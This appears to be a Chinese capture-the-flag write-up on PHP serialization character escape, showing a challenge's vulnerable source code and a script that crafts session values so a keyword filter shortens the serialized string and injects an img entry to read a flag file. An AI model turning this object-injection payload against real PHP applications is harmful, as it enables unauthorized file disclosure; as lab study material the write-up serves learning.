基础知识

PHP序列化长度变化导致字符逃逸

[0CTF 2016]piapiapia BUUCTF 详细writeup

解题过程

源代码

进去点开按钮发现给出了源代码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

令f=show_image，得到了flag的地址

?源码得知最后要对$userinfo['img']base64解密，所以对d0g3_f1ag.php进行base64加密，得到ZDBnM19mMWFnLnBocA==

脚本编写

<?php
/*$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
var_dump($_SESSION);
$a=serialize($_SESSION);
echo '<br>';
var_dump($a);
echo '<br>';*/
$_SESSION['user']='phpphpphpphpphpphpflag';
$_SESSION['function']=';s:2:"aa";s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='12311111';
var_dump($_SESSION);
$b=serialize($_SESSION);
$b=preg_replace('/flag|php/','',$b);
echo '<br>';
var_dump($b);
$b=unserialize($b);
echo '<br>';
var_dump($b);